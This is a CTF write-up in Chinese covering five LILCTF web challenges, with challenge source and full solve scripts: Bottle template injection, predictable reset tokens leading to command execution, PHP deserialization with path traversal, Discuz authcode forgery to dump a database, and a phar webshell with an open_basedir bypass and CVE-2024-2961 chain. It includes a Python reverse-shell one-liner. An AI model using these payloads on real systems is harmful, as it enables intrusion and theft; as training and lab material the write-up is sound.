ez_bottle
附件给了源码,web-ez-bottle.py:
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
# hint: flag in /flag , have a try
UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)
STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024
BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]
def contains_blacklist(content):
return any(black in content for black in BLACK_DICT)
def is_symlink(zipinfo):
return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000
def is_safe_path(base_dir, target_path):
return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))
@route('/')
def index():
return static_file('index.html', root=STATIC_DIR)
@route('/static/<filename>')
def server_static(filename):
return static_file(filename, root=STATIC_DIR)
@route('/upload')
def upload_page():
return static_file('upload.html', root=STATIC_DIR)
@post('/upload')
def upload():
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return 'Invalid file. Please upload a ZIP file.'
if len(zip_file.file.read()) > MAX_FILE_SIZE:
return 'File size exceeds 1MB. Please upload a smaller ZIP file.'
zip_file.file.seek(0)
current_time = str(time.time())
unique_string = zip_file.filename + current_time
md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
os.makedirs(extract_dir)
zip_path = os.path.join(extract_dir, 'upload.zip')
zip_file.save(zip_path)
try:
with zipfile.ZipFile(zip_path, 'r') as z:
for file_info in z.infolist():
if is_symlink(file_info):
return 'Symbolic links are not allowed.'
real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
if not is_safe_path(extract_dir, real_dest_path):
return 'Path traversal detected.'
z.extractall(extract_dir)
except zipfile.BadZipFile:
return 'Invalid ZIP file.'
files = os.listdir(extract_dir)
files.remove('upload.zip')
return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")
@route('/view/<md5>/<filename>')
def view_file(md5, filename):
file_path = os.path.join(UPLOAD_DIR, md5, filename)
if not os.path.exists(file_path):
return "File not found."
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
if contains_blacklist(content):
return "you are hacker!!!nonono!!!"
try:
return template(content)
except Exception as e:
return f"Error rendering template: {str(e)}"
@error(404)
def error404(error):
return "bbbbbboooottle"
@error(403)
def error403(error):
return "Forbidden: You don't have permission to access this resource."
if __name__ == '__main__':
run(host='0.0.0.0', port=5000, debug=False)
python的bottle框架,实现了上传zip压缩包并解压到指定目录的功能,同时有对内容的过滤,可以发现过滤了常用的注入模板{{}} <%%>以及常见的os等关键字,bottle框架还可以使用单个百分号来执行python命令,但是不会将内容渲染到网页。结合/static路由可以读取static目录下静态文件的特性,考虑将/flag文件复制到static目录中,期望执行的命令:
cp /flag ./static/flag.txt
一开始考虑通过斜体字符来绕过o和a,多次尝试之后才发现打开文件的编码方式是utf-8,斜体字符会被解析成生僻汉字,考虑往Unicode非ASCII字符方向走,编写恶意文件内容要注意开头需要有个回车符,否则%后的内容不会被当作python命令执行:
% from bottle import request
% import 𝐨s
% 𝐨s.system(request.query.v1)
完整exp:
from urllib.parse import unquote
import requests
import zipfile
url = "http://challenge.xinshi.fun:46226/upload"
file_path = "./file.zip"
payload = unquote("%0A")
payload += "% " + "from bottle import request\n"
payload += "% " + "import 𝐨s\n"
payload += "% " + "𝐨s.system(request.query.v1)"
with open("file.txt", "wb") as f:
f.write(payload.encode('utf-8'))
with zipfile.ZipFile("file.zip", 'w', zipfile.ZIP_DEFLATED) as zip:
zip.write("file.txt")
with open(file_path, 'rb') as f:
files = {'file': (file_path, f, 'application/zip')}
response = requests.post(url, files=files)
print(response.text) # 输出服务器返回的结果
再去访问该文件,带上v1传参要执行的命令:
http://challenge.xinshi.fun:46226/view/33fb755cb11889d8398700b6238f5375/file.txt?v1=cp%20/flag%20./static/flag.txt
做完之后发现本题没有过滤flag字符,根本用不着导入bottle中的request,request.query.v1类似flask中的request.args.v1:
% import 𝐨s
% 𝐨s.system('cp /flag ./static/flag.txt')
最后访问static目录中的flag.txt即可拿到flag:LILCTF{6oT7IE_has_6eeN_recyc13d}
参考资料:
https://xz.aliyun.com/news/17718
https://www.osgeo.cn/bottle/api.html#the-request-object
Ekko_note
题目给了源码,web-ekko_exec.py:
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2066/07/05 19:20:29
@Author : Ekko exec inc. 某牛马程序员
'''
import os
import time
import uuid
import requests
from functools import wraps
from datetime import datetime
from secrets import token_urlsafe
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask import Flask, render_template, redirect, url_for, request, flash, session
SERVER_START_TIME = time.time()
# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)
admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(20), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(60), nullable=False)
is_admin = db.Column(db.Boolean, default=False)
time_api = db.Column(db.String(200), default='https://api.uuni.cn//api/time')
class PasswordResetToken(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
token = db.Column(db.String(36), unique=True, nullable=False)
used = db.Column(db.Boolean, default=False)
def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int
with app.app_context():
db.create_all()
if not User.query.filter_by(username='admin').first():
admin = User(
username='admin',
email='admin@example.com',
password=generate_password_hash(admin_super_strong_password),
is_admin=True
)
db.session.add(admin)
db.session.commit()
def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
return f(*args, **kwargs)
return decorated_function
def admin_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
user = User.query.get(session['user_id'])
if not user.is_admin:
flash('你不是admin', 'danger')
return redirect(url_for('home'))
return f(*args, **kwargs)
return decorated_function
def check_time_api():
user = User.query.get(session['user_id'])
try:
response = requests.get(user.time_api)
data = response.json()
datetime_str = data.get('date')
if datetime_str:
print(datetime_str)
current_time = datetime.fromisoformat(datetime_str)
return current_time.year >= 2066
except Exception as e:
return None
return None
@app.route('/')
def home():
return render_template('home.html')
@app.route('/server_info')
@login_required
def server_info():
return {
'server_start_time': SERVER_START_TIME,
'current_time': time.time()
}
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
email = request.form.get('email')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')
if password != confirm_password:
flash('密码错误', 'danger')
return redirect(url_for('register'))
existing_user = User.query.filter_by(username=username).first()
if existing_user:
flash('已经存在这个用户了', 'danger')
return redirect(url_for('register'))
existing_email = User.query.filter_by(email=email).first()
if existing_email:
flash('这个邮箱已经被注册了', 'danger')
return redirect(url_for('register'))
hashed_password = generate_password_hash(password)
new_user = User(username=username, email=email, password=hashed_password)
db.session.add(new_user)
db.session.commit()
flash('注册成功,请登录', 'success')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
user = User.query.filter_by(username=username).first()
if user and check_password_hash(user.password, password):
session['user_id'] = user.id
session['username'] = user.username
session['is_admin'] = user.is_admin
flash('登陆成功,欢迎!', 'success')
return redirect(url_for('dashboard'))
else:
flash('用户名或密码错误!', 'danger')
return redirect(url_for('login'))
return render_template('login.html')
@app.route('/logout')
@login_required
def logout():
session.clear()
flash('成功登出', 'info')
return redirect(url_for('home'))
@app.route('/dashboard')
@login_required
def dashboard():
return render_template('dashboard.html')
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
# TODO:写一个SMTP服务把token发出去
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))
return render_template('forgot_password.html')
@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
if request.method == 'POST':
token = request.form.get('token')
new_password = request.form.get('new_password')
confirm_password = request.form.get('confirm_password')
if new_password != confirm_password:
flash('密码不匹配', 'danger')
return redirect(url_for('reset_password'))
reset_token = PasswordResetToken.query.filter_by(token=token, used=False).first()
if reset_token:
user = User.query.get(reset_token.user_id)
user.password = generate_password_hash(new_password)
reset_token.used = True
db.session.commit()
flash('成功重置密码!请重新登录', 'success')
return redirect(url_for('login'))
else:
flash('无效或过期的token', 'danger')
return redirect(url_for('reset_password'))
return render_template('reset_password.html')
@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
result = check_time_api()
if result is None:
flash("API死了啦,都你害的啦。", "danger")
return redirect(url_for('dashboard'))
if not result:
flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
return redirect(url_for('dashboard'))
if request.method == 'POST':
command = request.form.get('command')
os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
return redirect(url_for('execute_command'))
return render_template('execute_command.html')
@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
user = User.query.get(session['user_id'])
if request.method == 'POST':
new_api = request.form.get('time_api')
user.time_api = new_api
db.session.commit()
flash('成功更新API!', 'success')
return redirect(url_for('admin_settings'))
return render_template('admin_settings.html', time_api=user.time_api)
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")
实现了基本的注册,登录,忘记密码等功能,主要漏洞出在忘记密码的部分,使用了uuid.uuid8来生成token,而其中调用了random生成了伪随机数,题目还给了/server_info来获取时间戳SERVER_START_TIME,admin用户名、邮箱以及padding算法都在源码中,只要模拟生成一次token就可以实现修改admin的密码实现越权,起一个python3.14的环境就能获取到uuid.uuid8了:
import random
import uuid
from secrets import token_urlsafe
def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int
SERVER_START_TIME = 1755253132.849335
random.seed(SERVER_START_TIME)
admin_super_strong_password = token_urlsafe()
a = padding("admin")
token = uuid.uuid8(a=a)
print(token)
登陆成功后考虑如何修改time_api来让date>=2066,可以使用在线的自定义api网站自定义返回json数据,https://app.beeceptor.com/ :
{"date":"2066-01-01T00:00:00"}
/admin/settings中填入自定义的api:https://lilctf.free.beeceptor.com/api/date ,再访问/execute_command即可实现RCE。但是由于执行的是os.system(),网页是没有回显的,尝试反弹shell,一开始用bash和nc反弹都失败了还以为不出网,最后尝试python反弹shell成功:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_ip",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
flag在根目录下:LILCTF{U_HAvE_1OUnD_TH3_rIgH7_tlMEIINE!}
参考资料:
https://xz.aliyun.com/news/8987
Your Uns3r
index.php:
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}
class Access
{
protected $prefix;
protected $suffix;
public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;
}
}
$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}
$user = unserialize($ser);
throw new Exception("nonono!!!");
反序列化的目的是实现include的任意文件读取,可以利用目录穿越,设置好prefix和suffix即可:
class Access
{
protected $prefix = "/";
protected $suffix = "../../../../../flag";
}
# include("/lilctf/../../../../../flag");
反序列化字符串中一定会出现Access,第一个要绕过的就是User中不能设置username为admin,否则无法进行反序列化,但是__destruct()又要求$this->username == "admin"为真才执行exec(),可以利用true的弱比较特性来绕过:
class User
{
public $username = true; # true与非空字符串进行弱比较返回true
public $value;
}
$ser = unserialize(serialize(unserialize($this->value)));和下面的判断$ser != $this->value && $ser instanceof Access看上去有点绕,实际上按照正常的逻辑,$this->value是序列化后的ser,即serialize(new Access()),符合所有条件,根本没有什么需要绕过的地方
此时已经能写出完整的exp:
<?php
class User
{
public $username = true;
public $value;
}
class Access
{
protected $prefix = "/";
protected $suffix = "../../../../../flag";
}
$a = new User();
$b = new Access();
$a->value = serialize($b);
print (urlencode(serialize($a)));
?>
最后还有一个需要绕过的点,throw new Exception("nonono!!!");会在__destruct()触发前就抛出异常,导致无法执行析构函数,也就无法读取/flag,直接将序列化结果最后的}删去即可触发fast_destruct绕过throw:
user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bb%3A1%3Bs%3A5%3A%22value%22%3Bs%3A84%3A%22O%3A6%3A%22Access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A1%3A%22%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A19%3A%22..%2F..%2F..%2F..%2F..%2Fflag%22%3B%7D%22%3B
LILCTF{90NNa_f1ND_y#UR_@NsW3r_7o_UNseR}
参考资料:
我曾有一份工作
flag 在 pre_a_flag 表里
Discuz! X3.5,www.zip有备份源码,先下载下来看看配置目录config,根据修改时间排除deafult中同名的信息:
define('UC_KEY', 'N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb'); // 与 UCenter 的通信密钥, 要与 UCenter 保持一致
通过UC_KEY可以计算_authcode,dbbak.php:
$timestamp = time();
if($timestamp - $get['time'] > 3600) {
exit('Authorization has expired');
}
...
if($get['method'] == 'export') {
$db->query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT');
$time = date("Y-m-d H:i:s", $timestamp);
$tables = array();
$tables = arraykeys2(fetchtablelist($tablepre), 'Name');
if($apptype == 'discuz') {
$query = $db->query("SELECT datatables FROM {$tablepre}plugins WHERE datatables<>''");
while($plugin = $db->fetch_array($query)) {
foreach(explode(',', $plugin['datatables']) as $table) {
if($table = trim($table)) {
$tables[] = $table;
}
}
}
}
if($apptype == 'discuzx') {
$query = $db->query("SELECT datatables FROM {$tablepre}common_plugin WHERE datatables<>''");
while($plugin = $db->fetch_array($query)) {
foreach(explode(',', $plugin['datatables']) as $table) {
if($table = trim($table)) {
$tables[] = $table;
}
}
}
}
...
function encode_arr($get) {
$tmp = '';
foreach($get as $key => $val) {
$tmp .= '&'.$key.'='.$val;
}
return _authcode($tmp, 'ENCODE', UC_KEY);
}
...
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$next_url = (is_https() ? 'https' : 'http').'://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?apptype='.$GLOBALS['apptype'].'&code='.urlencode(encode_arr($get));
可以看到需要传入apptype,这里用的是discuzX,应该传入参数值discuzx,还需要传入code,可以发现$get里比较重要的两个键值对是time和method,并且code有1小时的有效期,先尝试生成一个:
<?php
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$UC_KEY = "N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb";
$tmp = "time=".time()."&method=export";
$code = urlencode(_authcode($tmp, 'ENCODE', $UC_KEY));
print($code);
?>
payload:
http://challenge.xinshi.fun:43672/api/db/dbbak.php?apptype=discuzx&code=7e6boiAfroxp9Fuy7oIpRV3cXkVfPwg9zOKPJNuyuUTlr3UsJzuwez0yqdCPZmRqTPp6RVSTsKUL3w
网页回显:
<root>
<error errorCode="0" errorMessage="ok"/>
<fileinfo>
<file_num>1</file_num>
<file_size>1999894</file_size>
<file_name>250828_mp6bJ6-1.sql</file_name>
<file_url>
http://challenge.xinshi.fun:43672/data/backup_250828_B0yInW/250828_mp6bJ6-1.sql
</file_url>
<last_modify>1756381296</last_modify>
</fileinfo>
<nexturl>
http://challenge.xinshi.fun:43672/api/db/dbbak.php?apptype=discuzx&code=9190Bmhg8Qj40j7JucTh7pcdbHXbfpQBB8nCbL1K53hukNft8CQNrD1iPSqVq0kYH7kd5%2F2NRBDsBy0HcWelImYQEYXjaERQK9PL0zoOJvvdx0ag3B5K55Y3D%2F8SrsYBxncKlQWZ0s1spkg90he06%2BnV2fgL9XKNUY2ysELgL3a29NApEUofoiX5pjktVkHQqMDbsHWLKIyj
</nexturl>
</root>
sql代码里找到两句INSERT语句:
INSERT INTO pre_a_flag VALUES ('1',0x666c61677b746573745f666c61677d);
INSERT INTO pre_a_flag VALUES ('2',0x4c494c4354467b686176455f7923755f3123754e445f345f4a4f365f4e23773f5f6841484068417d);
解hex得到flag:LILCTF{havE_y#u_1#uND_4_JO6_N#w?_hAH@hA}
参考资料:
https://mp.weixin.qq.com/s/IDkUpjPL0mzSxKOgldHPeQ
https://guokeya.github.io/post/87yhVz7uW/
php_jail_is_my_cry
请注意附件中的代码存在一行需要你补充的代码, 已经注释表明, 否则会存在问题
最终需要执行 /readflag
并没有开启 allow_url_include
index.php:
<?php
if (isset($_POST['url'])) {
$url = $_POST['url'];
$file_name = basename($url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
if ($data) {
file_put_contents('/tmp/'.$file_name, $data);
echo "文件已下载: <a href='?down=$file_name'>$file_name</a>";
} else {
echo "下载失败。";
}
}
if (isset($_GET['down'])){
include '/tmp/' . basename($_GET['down']);
exit;
}
// 上传文件
if (isset($_FILES['file'])) {
$target_dir = "/tmp/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$orig = $_FILES["file"]["tmp_name"];
$ch = curl_init('file://'. $orig);
// I hide a trick to bypass open_basedir, I'm sure you can find it.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
if (stripos($data, '<?') === false && stripos($data, 'php') === false && stripos($data, 'halt') === false) {
file_put_contents($target_file, $data);
} else {
echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!";
$data = null;
}
}
?>
将phar打包为gz绕过恶意字符检测,实现上传马:
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
@eval($_REQUEST[1]);
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
测试payload:http://gz.imxbt.cn:20647/?down=exploit.phar.gz&1=phpinfo();
disable_functions禁用了大部分函数
本题php.ini中设置了open_basedir = /var/www/html:/tmp,但curl_init仍然使用了file协议:
Note:
The file protocol is disabled by cURL if open_basedir is set.
根据这个issue:https://github.com/php/php-src/issues/16802 可以知道bypass open_basedir的方法:
$ch = curl_init("file:///etc/passwd");curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");curl_exec($ch);
实现任意文件读取payload:
http://gz.imxbt.cn:20647/?down=exploit.phar.gz&1=$ch%20=%20curl_init(%22file:///etc/passwd%22);curl_setopt($ch,%20CURLOPT_PROTOCOLS_STR,%20%22all%22);curl_exec($ch);
尝试打CVE-2024-2961,大致原理是glibc中iconv()函数将一些数据转换成ISO-2022-CN-EXT格式时,会有1-3字节的溢出,利用步骤如下:
1.获取 /proc/self/maps
2.获取libc
3.生成payload
先获取/proc/self/maps文件:
http://gz.imxbt.cn:20647/?down=exploit.phar.gz&1=$ch%20=%20curl_init(%22file:///proc/self/maps%22);curl_setopt($ch,%20CURLOPT_PROTOCOLS_STR,%20%22all%22);curl_exec($ch)
从docker中获取libc.so.6文件:
find / -name "libc.so.6"
docker cp pjimc:/usr/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6
利用kezibei的脚本,设置好要执行的命令/readflag > /tmp/flag生成payload:
php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXcdJjExG2hLX3M58c8bzCrZ8wI%2b6wYIxCPLPYmh3q3x/cbGLdMGvVsi7N2viV/9JLr3ROXX7q2lYmBrzAoDX15mOt7auvGK7efiNLt7j7SQN%2bDQw%2bSZHfdpx6q1V65pXutqjTd5QsFQjomBwxzXZd0W4v2c1V3WuvGW334OMgYMXTfVt2eO0Faog6r35g/uOw/3t%2bfPjoe/vVpq271va/3Ziz/vv/V81qkq%2bn7jvPLzXxjw0BB3yo/76mcJq7dOqZa2K3V%2be9zq623b41tz%2b1em/%2b1nmPZ%2b/a%2bvtb1L%2bf34v//t5/3f2TLjNeww6I7/xfYtvw59/lrwyffvcnf0vufVt6f978bc8fy6zfdfdVWfy239ufH/18%2b%2b3Psr2/Xs65t%2b/2u/zrR3fZvrK8tj039n9MTfX9uO2va6e93Zl3/vnX/sq/u%2b59/hyf/Wnp%2b3X8Vf9vz/o4ofiwwb4Ul0%2bf2QjEXW9qZuHUqqlWaVvdZt58v/%2bv1MmPBEIiweLbiQjjKvvFrjNdVP6yjyoeVTyqmM6KZ9wLyj6z5W7qm2%2b5U1S9VI4TyrJV3msNL5dN33h7e%2bA0jYky%2bEsnhoaXuluP%2bdyOPZZ33y1ykUsRDwHjl229Iha%2b8qPp3W/K%2bean2n/s%2b/PpZ/t8706O44wE3BXlnVs4VSr%2bcq591hR%2bMcE%2bAg47sGXarUdapvuW3a67oiGvo/SPAQA=
利用file_put_contents来实现执行命令:
http://gz.imxbt.cn:20647/?down=exploit.phar.gz&1=file_put_contents("php://filter/write=convert.base64-decode|zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=test.php","e3vXcdJjExG2hLX3M58c8bzCrZ8wI%2b6wYIxCPLPYmh3q3x/cbGLdMGvVsi7N2viV/9JLr3ROXX7q2lYmBrzAoDX15mOt7auvGK7efiNLt7j7SQN%2bDQw%2bSZHfdpx6q1V65pXutqjTd5QsFQjomBwxzXZd0W4v2c1V3WuvGW334OMgYMXTfVt2eO0Faog6r35g/uOw/3t%2bfPjoe/vVpq271va/3Ziz/vv/V81qkq%2bn7jvPLzXxjw0BB3yo/76mcJq7dOqZa2K3V%2be9zq623b41tz%2b1em/%2b1nmPZ%2b/a%2bvtb1L%2bf34v//t5/3f2TLjNeww6I7/xfYtvw59/lrwyffvcnf0vufVt6f978bc8fy6zfdfdVWfy239ufH/18%2b%2b3Psr2/Xs65t%2b/2u/zrR3fZvrK8tj039n9MTfX9uO2va6e93Zl3/vnX/sq/u%2b59/hyf/Wnp%2b3X8Vf9vz/o4ofiwwb4Ul0%2bf2QjEXW9qZuHUqqlWaVvdZt58v/%2bv1MmPBEIiweLbiQjjKvvFrjNdVP6yjyoeVTyqmM6KZ9wLyj6z5W7qm2%2b5U1S9VI4TyrJV3msNL5dN33h7e%2bA0jYky%2bEsnhoaXuluP%2bdyOPZZ33y1ykUsRDwHjl229Iha%2b8qPp3W/K%2bean2n/s%2b/PpZ/t8706O44wE3BXlnVs4VSr%2bcq591hR%2bMcE%2bAg47sGXarUdapvuW3a67oiGvo/SPAQA=");
读取flag:http://gz.imxbt.cn:20647/?down=flag
LILCTF{ada29630-db49-4f0d-8f11-097b10c488c3}
参考资料: